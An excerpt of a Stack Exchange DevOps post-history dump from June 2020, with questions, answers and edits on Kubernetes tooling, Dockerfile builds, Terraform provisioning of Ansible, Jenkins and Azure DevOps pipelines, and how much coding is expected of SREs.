  <row Id="36432" PostHistoryTypeId="2" PostId="11857" RevisionGUID="b5712c6d-ca09-45df-97bb-51a27409880c" CreationDate="2020-06-18T16:28:32.053" UserId="22743" Text="For listing versions of each container in each pod I found that the [kubectl-images][1] plugin is quite useful.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/chenjiandongx/kubectl-images" ContentLicense="CC BY-SA 4.0" />
  <row Id="36433" PostHistoryTypeId="50" PostId="9216" RevisionGUID="cf058d51-b021-4859-adc3-28e53d9df794" CreationDate="2020-06-18T23:07:10.727" UserId="-1" />
  <row Id="36434" PostHistoryTypeId="2" PostId="11858" RevisionGUID="7107bbd7-2779-4e84-8f90-7734f14df7ad" CreationDate="2020-06-18T23:45:19.287" UserId="19963" Text="My approach nowadays, always package your build process into Dockerfile. I.e. here is Dockerfile for one of my open-sourced Go projects:&#xD;&#xA;&#xD;&#xA;https://github.com/relizaio/relizaGoClient/blob/master/Dockerfile&#xD;&#xA;&#xD;&#xA;*Note*: if you're using go modules (which seems to be the case), replace `RUN go get -d -v ./...` with `RUN go mod download` in the build-stage. BTW, missing `go mod` instruction might be the reason for your build failure in the current setup.&#xD;&#xA;&#xD;&#xA;Then in your CI, simply do `docker build` instruction, and then copy your artifact from the container if you need it outside.&#xD;&#xA;&#xD;&#xA;*Key benefit*: you can verify build process against same Dockerfile locally and you can port it to any CI tool whatsoever." ContentLicense="CC BY-SA 4.0" />
  <row Id="36435" PostHistoryTypeId="2" PostId="11859" RevisionGUID="31c0ab52-1ac6-48e1-851e-374afb18303f" CreationDate="2020-06-19T02:35:55.533" UserId="7078" Text="SREs and coding is a contentious topic. In most situations, SREs end up spending a lot of time on operational tasks, even while being efficiency focused. This means that an SREs don't spend as much time coding as a full time developer, which puts them in a very disadvantageous position as far as programming rigor is concerned.&#xD;&#xA;&#xD;&#xA;Also, SREs are typically responsible for multiple services or applications, unlike developers who may be more focused on a small number of applications.&#xD;&#xA;&#xD;&#xA;To be very good in coding, to be able to match a developer's level of expertise in programming, SREs need to spend more time coding, which may not be possible.&#xD;&#xA;&#xD;&#xA;Also, the question arises - if an engineer is a great developer, why would he or she opt for an SRE role?  The pure development roles seem to have a better career path.&#xD;&#xA;&#xD;&#xA;So, what is a reasonable expectation for an SRE when it comes to coding?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36436" PostHistoryTypeId="1" PostId="11859" RevisionGUID="31c0ab52-1ac6-48e1-851e-374afb18303f" CreationDate="2020-06-19T02:35:55.533" UserId="7078" Text="What is a reasonable level of coding expertise expected of an SRE?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36437" PostHistoryTypeId="3" PostId="11859" RevisionGUID="31c0ab52-1ac6-48e1-851e-374afb18303f" CreationDate="2020-06-19T02:35:55.533" UserId="7078" Text="&lt;culture&gt;&lt;sre&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36438" PostHistoryTypeId="2" PostId="11860" RevisionGUID="cd343d74-dabf-472e-9df0-0135b354e59d" CreationDate="2020-06-19T08:32:04.330" UserId="3564" Text="orbs can help you saving a lot of time and from lots of configurations hassles in circle ci configuration. orbs provides extra functionality in your build pipeline with its pre-configured properties. &#xD;&#xA;&#xD;&#xA;suppose, you want to copy your build artifact to s3 bucket from circle build environment. to achieve that goal without orbs, you need to install awscli and then set environment variables for iam access key id, secret access key, region. but with orbs you can import the s3 copy functionality in build pipeline and provide iam key pairs and region value into that orb function. thus it helps you to use pre-existing templates with certain functionalities in build environment. same goes to k8s deployment by using kubectl from k8s orb without installing kubectl in circle pipeline." ContentLicense="CC BY-SA 4.0" />
  <row Id="36439" PostHistoryTypeId="2" PostId="11861" RevisionGUID="8778c43e-55cc-4a6d-80f3-62fa65d67ea4" CreationDate="2020-06-19T09:33:42.050" UserId="3564" Text="This scenario remembers me how i used to test my ansible playbook with terraform. I would run &quot;remote exec&quot; in terraform to install python and other dependencies of ansible. After that I would retrieve the public ip of the instance and save in the inventory file of ansible in the local. And finally, I ran ansible from my local machine from terraform configuration using &quot;local exec&quot;. Of course, before everything you need to configure SSH from local to newly provisioned machine in terraform configuration.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;resource &quot;null_resource&quot; &quot;ConfigureAnsibleLabelVariable&quot; {&#xD;&#xA;  provisioner &quot;local-exec&quot; {&#xD;&#xA;    command = &quot;echo [${var.dev_host_label}:vars] &gt; hosts&quot;&#xD;&#xA;  }&#xD;&#xA;  provisioner &quot;local-exec&quot; {&#xD;&#xA;    command = &quot;echo ansible_ssh_user=${var.ssh_user_name} &gt;&gt; hosts&quot;&#xD;&#xA;  }&#xD;&#xA;  provisioner &quot;local-exec&quot; {&#xD;&#xA;    command = &quot;echo ansible_ssh_private_key_file=${var.ssh_key_path} &gt;&gt; hosts&quot;&#xD;&#xA;  }&#xD;&#xA;  provisioner &quot;local-exec&quot; {&#xD;&#xA;    command = &quot;echo [${var.dev_host_label}] &gt;&gt; hosts&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;null_resource&quot; &quot;ProvisionRemoteHostsIpToAnsibleHosts&quot; {&#xD;&#xA;  count = &quot;${var.instance_count}&quot;&#xD;&#xA;  connection {&#xD;&#xA;    type = &quot;ssh&quot;&#xD;&#xA;    user = &quot;${var.ssh_user_name}&quot;&#xD;&#xA;    host = &quot;${element(aws_instance.DevInstanceAWS.*.public_ip, count.index)}&quot;&#xD;&#xA;    private_key = &quot;${file(&quot;${var.ssh_key_path}&quot;)}&quot;&#xD;&#xA;  }&#xD;&#xA;  provisioner &quot;remote-exec&quot; {&#xD;&#xA;    inline = [&#xD;&#xA;      &quot;sudo yum update -y&quot;,&#xD;&#xA;      &quot;sudo yum install python-setuptools python-pip -y&quot;,&#xD;&#xA;      &quot;sudo pip install httplib2&quot;&#xD;&#xA;    ]&#xD;&#xA;  }&#xD;&#xA;  provisioner &quot;local-exec&quot; {&#xD;&#xA;    command = &quot;echo ${element(aws_instance.DevInstanceAWS.*.public_ip, count.index)} &gt;&gt; hosts&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;null_resource&quot; &quot;ModifyApplyAnsiblePlayBook&quot; {&#xD;&#xA;  provisioner &quot;local-exec&quot; {&#xD;&#xA;    command = &quot;sed -i -e '/hosts:/ s/: .*/: ${var.dev_host_label}/' play.yml&quot;   #change host label in playbook dynamically&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  provisioner &quot;local-exec&quot; {&#xD;&#xA;    command = &quot;sleep 10; ansible-playbook -i hosts play.yml&quot;&#xD;&#xA;  }&#xD;&#xA;  depends_on = [&quot;null_resource.ProvisionRemoteHostsIpToAnsibleHosts&quot;]&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="36440" PostHistoryTypeId="2" PostId="11862" RevisionGUID="51c79c12-f711-411e-bcbc-e3d99dbbb8c3" CreationDate="2020-06-19T09:43:23.723" UserId="3564" Text="Setup pipeline name and default version (e.g. master) in &quot;Global Pipeline Libraries&quot; settings. Then use them in your Jenkinsfile as following&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;#!/usr/bin/env groovy&#xD;&#xA;@Library('YourGlobalPipelineName@YourDefaultVersion') _&#xD;&#xA;&#xD;&#xA;pipeline {&#xD;&#xA;&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="36441" PostHistoryTypeId="2" PostId="11863" RevisionGUID="ec9c3a59-a169-4507-9c19-e78e306921de" CreationDate="2020-06-19T09:54:19.210" UserId="3564" Text="I faced the same problem while using different SSH key pairs for different deployment environment. Usually I used to create different ssm variables per environment and then changed the name of ssm per git branch in buildspec.yml. That worked perfectly for me. For example, for deploying to stage environment i used the git branch &quot;dev&quot; which had following buidlspec.yml config  &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;env:&#xD;&#xA;  parameter-store:&#xD;&#xA;    SECRET_KEY_BASE: &quot;DEV_SECRET_KEY_BASE&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;for &quot;release&quot; environment it was,&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;env:&#xD;&#xA;  parameter-store:&#xD;&#xA;    SECRET_KEY_BASE: &quot;RELEASE_SECRET_KEY_BASE&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;make sure you resolve merge conflicts between inter git branches before you apply." ContentLicense="CC BY-SA 4.0" />
  <row Id="36442" PostHistoryTypeId="2" PostId="11864" RevisionGUID="d0eded57-bb3e-4b71-a0d7-b12cc451ff11" CreationDate="2020-06-19T13:33:31.613" UserId="17329" Text="Whenever I install the helm chart and point the kafkaServer to my k8s broker service the pod crashes due to failing to connect to the api, is this some confluent restriction and can it be workaround somehow? I need this as I want to monitor lag/offset and other things." ContentLicense="CC BY-SA 4.0" />
  <row Id="36443" PostHistoryTypeId="1" PostId="11864" RevisionGUID="d0eded57-bb3e-4b71-a0d7-b12cc451ff11" CreationDate="2020-06-19T13:33:31.613" UserId="17329" Text="Run kafka-exporter against Confluent Kafka Cluster" ContentLicense="CC BY-SA 4.0" />
  <row Id="36444" PostHistoryTypeId="3" PostId="11864" RevisionGUID="d0eded57-bb3e-4b71-a0d7-b12cc451ff11" CreationDate="2020-06-19T13:33:31.613" UserId="17329" Text="&lt;kafka&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36445" PostHistoryTypeId="2" PostId="11865" RevisionGUID="39ae0665-06e4-4307-8b8c-db188fb063d6" CreationDate="2020-06-19T19:13:58.857" UserId="10718" Text="Apologies for the formatting, typing from mobile is a pain. &#xD;&#xA;&#xD;&#xA;1. I do not see any obstacles. All communication is done through the apiserver over https. 2. Multiple replicas of the controller and scheduler are allowed, leader election is built in. All you need is load balancing in front of the apiservers. 3. I find this to work best, since usually the failure domain is a node, rather than a component. 4. Yes. " ContentLicense="CC BY-SA 4.0" />
  <row Id="36446" PostHistoryTypeId="5" PostId="11859" RevisionGUID="d67d3dd2-4145-4ae5-9cce-7ba51ff24dfa" CreationDate="2020-06-19T22:17:33.783" UserId="7078" Comment="added 265 characters in body" Text="SREs and coding is a contentious topic. In most situations, SREs end up spending a lot of time on operational tasks, even while being efficiency and automation focused. This means that SREs don't spend as much time coding as a full time developer, which puts them in a very disadvantageous position as far as programming rigor is concerned.&#xD;&#xA;&#xD;&#xA;Also, SREs are typically responsible for multiple services or applications, unlike developers who may be more focused on a small number of applications.&#xD;&#xA;&#xD;&#xA;To be very good in coding and be able match a developer's level of expertise in programming, SREs need to spend more time coding on a continuous basis, which may not be possible.&#xD;&#xA;&#xD;&#xA;Also, the question arises - if an engineer is a great developer, why would he or she opt for an SRE role?  The pure development roles seem to have a better career path.&#xD;&#xA;&#xD;&#xA;So, what is a reasonable expectation for an SRE when it comes to coding?  Is it practical to have two cadres of SREs -- development focused ones or &quot;SWE SREs&quot; and operations focused ones or &quot;Operation SREs&quot;?  Could they be a part of the same team?&#xD;&#xA;&#xD;&#xA;I hope this question is not dismissed as opinion-based." ContentLicense="CC BY-SA 4.0" />
  <row Id="36457" PostHistoryTypeId="5" PostId="11859" RevisionGUID="3ea1d88c-6823-41b5-b751-bb861a78747b" CreationDate="2020-06-20T01:15:19.773" UserId="7078" Comment="added 435 characters in body" Text="SREs and coding is a contentious topic. In most situations, SREs end up spending a lot of time on operational tasks, even while being efficiency and automation focused. This means that SREs don't spend as much time coding as a full time developer, which puts them in a very disadvantageous position as far as programming rigor is concerned.&#xD;&#xA;&#xD;&#xA;Also, SREs are typically responsible for multiple services or applications, unlike developers who may be more focused on a small number of applications.&#xD;&#xA;&#xD;&#xA;To be very good in coding and be able match a developer's level of expertise in programming, SREs need to spend more time coding on a continuous basis, which may not be possible.&#xD;&#xA;&#xD;&#xA;Also, the question arises - if an engineer is a great developer, why would he or she opt for an SRE role?  The pure development roles seem to have a better career path.&#xD;&#xA;&#xD;&#xA;Also, the argument that SREs should spend most of their time coding and not in operations seems a little disconnected from reality. Not all operations is evil and not all code is an angel either. As someone said, &quot;the best code is the one that was never written&quot;. Running operations efficiently and reliably is an important goal for SREs and coding can be helpful in achieving that goal, though it is not the only means to get there.&#xD;&#xA;&#xD;&#xA;So, what is a reasonable expectation for an SRE when it comes to coding?  Is it practical to have two cadres of SREs -- development focused ones or &quot;SWE SREs&quot; and operations focused ones or &quot;Operation SREs&quot;?  Could they be a part of the same team?&#xD;&#xA;&#xD;&#xA;I hope this question is not dismissed as opinion-based." ContentLicense="CC BY-SA 4.0" />
  <row Id="36458" PostHistoryTypeId="5" PostId="11859" RevisionGUID="43c4af9e-a3fe-4047-be4c-ea1748af9450" CreationDate="2020-06-20T01:31:40.810" UserId="7078" Comment="added 58 characters in body" Text="SREs and coding is a contentious topic. In most situations, SREs end up spending a lot of time on operational tasks, even while being efficiency and automation focused. This means that SREs don't spend as much time coding as a full time developer, which puts them in a very disadvantageous position as far as programming rigor is concerned.&#xD;&#xA;&#xD;&#xA;Also, SREs are typically responsible for multiple services or applications, unlike developers who may be more focused on a small number of applications.&#xD;&#xA;&#xD;&#xA;To be very good in coding and be able match a developer's level of expertise in programming, SREs need to spend more time coding on a continuous basis, which may not be possible.&#xD;&#xA;&#xD;&#xA;Also, the question arises - if an engineer is a great developer, why would he or she opt for an SRE role?  The pure development roles seem to have a better career path.&#xD;&#xA;&#xD;&#xA;Also, the argument that SREs should spend most of their time coding and not in operations seems a little disconnected from reality. Not all operations is evil and not all code is an angel either. As someone said, &quot;the best code is the one that was never written&quot;. Running operations efficiently and reliably is an important goal for SREs and coding can be helpful in achieving that goal, though it is not the only means to get there.&#xD;&#xA;&#xD;&#xA;So, what is a reasonable expectation for an SRE when it comes to coding?  Is it practical to have two cadres of SREs -- development focused ones or &quot;SWE SREs&quot; and operations focused ones or &quot;Operation SREs&quot;?  Could they be a part of the same team? Is it practical to rotate people between these two roles?&#xD;&#xA;&#xD;&#xA;I hope this question is not dismissed as opinion-based." ContentLicense="CC BY-SA 4.0" />
  <row Id="36459" PostHistoryTypeId="2" PostId="11866" RevisionGUID="c7934469-3d57-41a5-ad1d-f5dc5c3dbabd" CreationDate="2020-06-20T13:21:12.107" UserId="22796" Text="Most answers to these questions are going be subjective and influenced by your particular organization's workflows and culture. Little of this response if more than just my own opinion and experience and much is not really specific to Azure DevOps but can be applied to any build and release orchestration tooling.&#xD;&#xA;&#xD;&#xA;1. Azure DevOps itself has very little to do with your chosen workflow apart from it being the common remote for the team and the source for pull requests etc. What source workflow you use is highly dependent on your individual situation. The number of people on your team doing simultaneous work, how much possible conflict there is between feature development efforts, your rate of release, complexity of code/projects, and philosophies about release management to name a few. Much has been written about various source management workflows. In the realm of Git, of course there's the over 10 year old [GitFlow][1] approach (note the recent update) and [GitHubFlow][2]. I won't regurgitate what they or the numerous other writings suggest about what flow to use. Your team needs to research the options and evaluate what is most applicable.&#xD;&#xA;&#xD;&#xA;2. It certainly is not a bad practice to do a build for every PR. If developers are following good practices where feature branches originate from the merge target, there is a high probability that any testing/compiling they did in code from those branches will essentially match what will eventually be merged. However, that's never a guarantee so having the ability to do a pre merge PR build is a very helpful feature of ADO. And ADO can be configured to required a passing PR build before merge. You can also deploy PR builds if you want to support initial manual testing and/or more complex integration of a PR prior to merge.&#xD;&#xA;&#xD;&#xA;3. This again will be a choice driven by your team and situation. Do ***you*** want every feature merge to result in a build? If you are practicing Agile, you may have work items that require manual testing as part of the definition of done. In that case, getting builds out immediately after code is complete could be imperative to forward progress. I follow a continuous integration approach and have builds trigger immediately upon commits/merges to the &quot;typical&quot; branch of work in progress (often that will be the `development` branch). The sooner you discover a problem, whether that is a compile error of the merged code, a unit test failure, or a manual integration test bug the better. Every minute you wait to fix an issue is compounded into more time resolving it later as the work fades from peoples' minds.&#xD;&#xA;&#xD;&#xA;4. I have typically followed the philosophy that &quot;what I deploy to production should be what we tested&quot;. While theoretically, if you do 2 builds of the same exact source code you should get the same result, there's no guarantee of that. Particularly now with the use of public packages/modules and the ability to allow flexibility with what versions are consumed, it's not an unreasonable possibility that a later build will result in different artifacts, for example, but pulling in a newly updated version of a dependency. For some very real perspective on this, see [this article about how the &quot;internet broke&quot;][3] some years ago. I work in the healthcare industry which has very strict rules that drive our implementation approach. We need to deploy just what was tested and approved to the production environment. If we did a fresh build for production release that introduced a changed library with an unknown security vulnerability, we could get into serious hot water.  I follow the practice of having a build pipeline do the actual build of final artifacts which become the singular source for deployments for testing and final promotion to production. ADO makes this very simple by publishing the artifacts into its own internal storage and providing those as an artifact source for a release pipeline. You can then deploy that (and additional) artifacts to each release stage of your pipeline. One key factor to consider is environment configuration management. Depending on your deployment target, you'll need to take into account how to influence the runtime configuration. My organization still deploys .NET applications to traditional IIS web servers using file copy. This requires an explicit step to apply config transformations for the application based on the target environment. This approach can be enhanced by using a separate artifact source for the transformation to better implement the good DevOps practice of separation of concerns (environment agnostic build artifacts vs. env specific configuration; env configuration, including secrets, can be retrieved from a different, more protected source so they are not in the application code repository). If you are deploying to a docker image, your docker runtime environment can drive environment specific settings for the container instances. Deploying to a cloud application host service? Use its instance configuration tooling, such as the app service/slot specific configuration settings in Azure. Applications like React, however, take a different approach that typically dictates that you do a build for the target environment since environment driven values are bundled into the deployed artifacts. I'm not a fan of this as it breaks my core philosophy of &quot;build once, run anywhere&quot;. But there are some solutions to help make such builds environment agnostic.&#xD;&#xA;&#xD;&#xA;  [1]: https://nvie.com/posts/a-successful-git-branching-model/&#xD;&#xA;  [2]: https://guides.github.com/introduction/flow/&#xD;&#xA;  [3]: https://qz.com/646467/how-one-programmer-broke-the-internet-by-deleting-a-tiny-piece-of-code/&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36460" PostHistoryTypeId="2" PostId="11867" RevisionGUID="3760cc89-b6fc-4543-b3ee-c2e103721577" CreationDate="2020-06-20T13:41:08.330" UserId="22796" Text="While I haven't tried this, I suppose a solution would be to have a regular pipeline (this should work in either build or release pipelines) that would check out your repo (as it's default first step) then some scripted command that adds the desired remote and pushes to it. &#xD;&#xA;&#xD;&#xA;Some pitfalls I could see you running into:&#xD;&#xA;- issues with the state of the agent work folder based repo prior to a push; but that should be reconcilable with the appropriate Git commands. If the target remotes (i.e. backups) are never being committed to by anything other than the pipeline, you hopefully won't run into conflicts&#xD;&#xA;- arbitrary branches: I'm not a git expert, but I think there's a way to push all branches to the remote&#xD;&#xA;- authentication: you'll obviously need to provide appropriate authentication to the target remote(s). Credentials shouldn't be stored in the scripts in plain text. Use secured pipeline (or group based) variables&#xD;&#xA;- repo size: a huge repo will need to be cloned into the ADO agent workspace. Not a problem as long as you have the disk to support it.&#xD;&#xA;&#xD;&#xA;Given the needs you listed, it seems like you should consider something like AzureDevOps services in the cloud, or private GitHub repos (recently became free), etc. Why manage your own backups if the cloud can do it for you?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36461" PostHistoryTypeId="2" PostId="11868" RevisionGUID="267f21fe-5e30-4b0d-a374-c57912683ef2" CreationDate="2020-06-20T14:00:24.527" UserId="22796" Text="It sounds like both of these pipelines are being triggered by the same source commit(s). If that's the case, you should be able to use CI trigger source path filters so that the builds only happen on commits to the relevant code. &#xD;&#xA;&#xD;&#xA;If a developer does a single commit that is committing changes to both the main application and the package library (which would still trigger both pipelines regardless of the filter), you should consider promoting better code commit practices. Commits should be generally atomic to an appropriate context (i.e. don't commit to a stand-alone library and an app that consumes it together). Commit [and push if Git] the package changes first so they'll build and publish, then commit [and push] the main application. This will ensure that the trigger filters do what they should.&#xD;&#xA;&#xD;&#xA;I don't know of a feature in ADO that allows you to serialize the pipeline execution order in the way you would like. As you suggested, the alternative of triggering one pipeline from another would kind of work but ultimately doesn't solve the core problem.&#xD;&#xA;&#xD;&#xA;Alternatively, considering that &quot;project N&quot; changes a lot, and if it has that tight a relationship with the main project. Perhaps consuming it as a package is not appropriate. If the library is also to be consumed by other applications that have a more loose relationship, perhaps consume the dependency directly as code by the main project, but make its package publishing a part of the main application build instead of its own pipeline. (I've used this model for API applications that publish a data contracts library. The API application itself consumes the project directly as a project reference since the two are very tightly related, but others consume as a published package.)" ContentLicense="CC BY-SA 4.0" />
  <row Id="36462" PostHistoryTypeId="2" PostId="11869" RevisionGUID="18ade3c7-2a98-43bc-bb8d-8e37086c1743" CreationDate="2020-06-20T14:10:40.567" UserId="22796" Text="You can define multiple stages in a release pipeline. Each stage (i.e. Dev, Prod) can have its own set of tasks and/or other factors that differ. If you want the same set of tasks, you can duplicate a stage then change what's needed. Alternatively, you can configure the tasks using pipeline variables. The variables can be defined to have different values based on the stage scope (or applicable to the release scope). This way, each stage is essentially the same set of tasks but at runtime each behaves differently based on the variable values applicable to it at runtime.&#xD;&#xA;&#xD;&#xA;See the MS docs on stages based on your pipeline type preference:&#xD;&#xA;- [YAML][1]&#xD;&#xA;- [Classic][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/devops/pipelines/process/stages?view=azure-devops&amp;tabs=yaml&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/devops/pipelines/process/stages?view=azure-devops&amp;tabs=classic" ContentLicense="CC BY-SA 4.0" />
  <row Id="36463" PostHistoryTypeId="2" PostId="11870" RevisionGUID="fde4768b-2e19-4de1-b780-2d41bf3a4d53" CreationDate="2020-06-20T14:54:42.647" UserId="22842" Text="After reading some articles about DevOps, I understand that DevOps engineers do write code. However, it's a bit unclear to me about what kind of code a DevOps engineer write.&#xD;&#xA;&#xD;&#xA;Assume that there are (very roughly) 2 categories of code:&#xD;&#xA;&#xD;&#xA;1. **For system operation**: like scripting for deployment, configuration of Puppet or Ansible, etc.&#xD;&#xA;2. **For user requirement**: e.g. allow user to upload avatar images, add an &quot;export&quot; button to download as .csv files.&#xD;&#xA;&#xD;&#xA;I found that some DevOps engineers only do the first category, while some others do both.&#xD;&#xA;&#xD;&#xA;My question: is it common for DevOps engineers to write code for user requirements?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36464" PostHistoryTypeId="1" PostId="11870" RevisionGUID="fde4768b-2e19-4de1-b780-2d41bf3a4d53" CreationDate="2020-06-20T14:54:42.647" UserId="22842" Text="Is it common for DevOps engineers to write code for user requirements?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36465" PostHistoryTypeId="3" PostId="11870" RevisionGUID="fde4768b-2e19-4de1-b780-2d41bf3a4d53" CreationDate="2020-06-20T14:54:42.647" UserId="22842" Text="&lt;terminology&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36466" PostHistoryTypeId="2" PostId="11871" RevisionGUID="02c4b3ff-85ba-4f8b-b708-3fea4f86f613" CreationDate="2020-06-20T21:32:21.307" UserId="8049" Text="**if an engineer is a great developer, why would he or she opt for an SRE role?**&#xD;&#xA;&#xD;&#xA;Here is a caricature of being a developer: Working in Sprints, getting a ticket with all of the BA work completed, spending 3-4 days on that problem, marking it done, getting the next ticket and so on. This is a really boring work environment.  Yes there are better environments to work in, and not all development roles fall into the scrum mediocrity trap, but it happens frequently.&#xD;&#xA;&#xD;&#xA;DevOps is new enough that it's not yet been &quot;solved&quot; as a problem.  It certainly hasn't yet had all of the engineering challenge managed into seperate roles, so it allows a certain type of developer a bit more freedom, working using multiple skills, in a fast paced environment. It's not for the faint hearted.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**what is a reasonable expectation for an SRE when it comes to coding?**&#xD;&#xA;&#xD;&#xA;That they are a programmer that you would want on the development team. SRE is not a place for substandard developers. The development challenges in SRE are as great as that in the development space, but the space for errors is less.&#xD;&#xA;&#xD;&#xA;**Is it practical to have two cadres of SREs -- development focused ones or &quot;SWE SREs&quot; and operations focused ones or &quot;Operation SREs&quot;?**&#xD;&#xA;&#xD;&#xA;Not really. To be in SRE you must understand Dev and Ops. If thats not the case, then you are not doing SRE, you are doing something else.  It doesn't mean it's wrong, or not working for you - it could be just what you need for your environment, and you have the people that make it work. It is possible to have a specialist who isn't really a developer on the team, IF they bring an important skill to the team that the developers are not able to cover (e.g. low level networking or linux kernel knowledge), but this is done rarely. &#xD;&#xA;&#xD;&#xA;**Could they be a part of the same team?**&#xD;&#xA;&#xD;&#xA;You can place Dev and Ops into the same team.  It would make for some interesting management challenges. Please run the team in a more kanban style, ops doesnt work in sprints&#xD;&#xA;&#xD;&#xA;**Is it practical to rotate people between these two roles?**&#xD;&#xA;&#xD;&#xA;Most developers benefit from an exposure to the land of devops.  However if it is a true ops environment, that timescale is probably 2-3 days at most.  Not sure most ops people would be able to assist meaningfully as a developer, but they would often make a good tester. Most ops people would not want to be in a testing role for long." ContentLicense="CC BY-SA 4.0" />
  <row Id="36467" PostHistoryTypeId="2" PostId="11872" RevisionGUID="de4e7a2f-a5bf-4b80-af89-88b478d7668e" CreationDate="2020-06-21T02:38:52.640" UserId="4252" Text="I think that if an SRE is spending “a lot of time on operational tasks” then they are missing an opportunity to improve their situation through code. Not all code is managed, but one of the driving tenets of the DevOps and SRE models is to approach operational problems as if they are software problems. &#xD;&#xA;&#xD;&#xA;As far as rotating roles within and SRE team, you do what it takes to deliver value for your organization. I don’t think there’s a single right answer; I do think that the goal is to minimize manual intervention as much as possible, as well as doing everything you can to identify and resolve reliability issues. Whether you fulfill this as a traditional developer or from a zero-code approach doesn’t matter. " ContentLicense="CC BY-SA 4.0" />
  <row Id="36469" PostHistoryTypeId="5" PostId="10297" RevisionGUID="dfc32ca8-db0b-4408-86a8-b8f9750d2402" CreationDate="2020-06-21T05:57:49.460" UserId="20194" Comment="Spelling edit." Text="I am new to DevOps world and desperately looking for your help.&#xD;&#xA;We have multiple API depositors in GitLab subgroup, I am trying to establish a CI/CD pipeline, which will connect to GitLab subgroup,&#xD;&#xA;&#xD;&#xA;1) Any new API added into the subgroup, the pipeline will be triggered.&#xD;&#xA;2) If existing API code is updated into any branch pipeline should be triggered.&#xD;&#xA;&#xD;&#xA;In GIT repository, I have to provide the API URL, should I write #of pipelines as number API?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36470" PostHistoryTypeId="4" PostId="10297" RevisionGUID="dfc32ca8-db0b-4408-86a8-b8f9750d2402" CreationDate="2020-06-21T05:57:49.460" UserId="20194" Comment="Spelling edit." Text="Building Jenkins pipeline with GitLab info" ContentLicense="CC BY-SA 4.0" />
  <row Id="36471" PostHistoryTypeId="24" PostId="10297" RevisionGUID="dfc32ca8-db0b-4408-86a8-b8f9750d2402" CreationDate="2020-06-21T05:57:49.460" Comment="Proposed by 20194 approved by 40 edit id of 1226" ContentLicense="CC BY-SA 4.0" />
  <row Id="36472" PostHistoryTypeId="5" PostId="4167" RevisionGUID="9459cd24-b8e4-412a-b2bd-c00be12db819" CreationDate="2020-06-21T05:57:55.827" UserId="20194" Comment="Spelling edit." Text="My Organization is keeping only one git repository in bitbucket, that hosts multiple projects under the same branch, Now I have to automate the build process using Jenkins. I configured a webhooks that invoke on any push happening to  development branch. Now I have to generate a build based changed subdirectory. Ex if anyone committed code to Microservice2 to it will generate build for MS2.  Please let me know how we are achieve this using Jenkins.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;Niks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/h1TSo.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="36473" PostHistoryTypeId="4" PostId="4167" RevisionGUID="9459cd24-b8e4-412a-b2bd-c00be12db819" CreationDate="2020-06-21T05:57:55.827" UserId="20194" Comment="Spelling edit." Text="Jenkins - Mono repository build only changed the folder" ContentLicense="CC BY-SA 4.0" />
  <row Id="36474" PostHistoryTypeId="24" PostId="4167" RevisionGUID="9459cd24-b8e4-412a-b2bd-c00be12db819" CreationDate="2020-06-21T05:57:55.827" Comment="Proposed by 20194 approved by 40 edit id of 1225" ContentLicense="CC BY-SA 4.0" />
  <row Id="36482" PostHistoryTypeId="5" PostId="4167" RevisionGUID="98404b1d-0c8d-41c0-b4e0-0255249a370e" CreationDate="2020-06-21T11:28:56.790" UserId="354" Comment="Cleaned up grammar" Text="My Organization keeps a single git repository in bitbucket. It hosts multiple projects under the same branch.&#xD;&#xA;&#xD;&#xA;I have to automate the build process using Jenkins; I configured a webhooks that invoke on any push to  development branch. Now, I have to generate a build based on which sub-directory the changes happened in, _e.g._ if code was committed  to `/Microservice2`, it will generate build for `MS2`, _etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/h1TSo.png&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How does one achieve this using Jenkins?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36483" PostHistoryTypeId="5" PostId="11865" RevisionGUID="3539b680-9e1a-4b7d-aaa2-1a1d2bd34f95" CreationDate="2020-06-21T11:31:09.807" UserId="354" Comment="Removed the need for apologies" Text="1. I do not see any obstacles. All communication is done through the apiserver over https.&#xD;&#xA;2. Multiple replicas of the controller and scheduler are allowed, leader election is built in. All you need is load balancing in front of the apiservers.&#xD;&#xA;3. I find this to work best, since usually the failure domain is a node, rather than a component.&#xD;&#xA;4. Yes.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
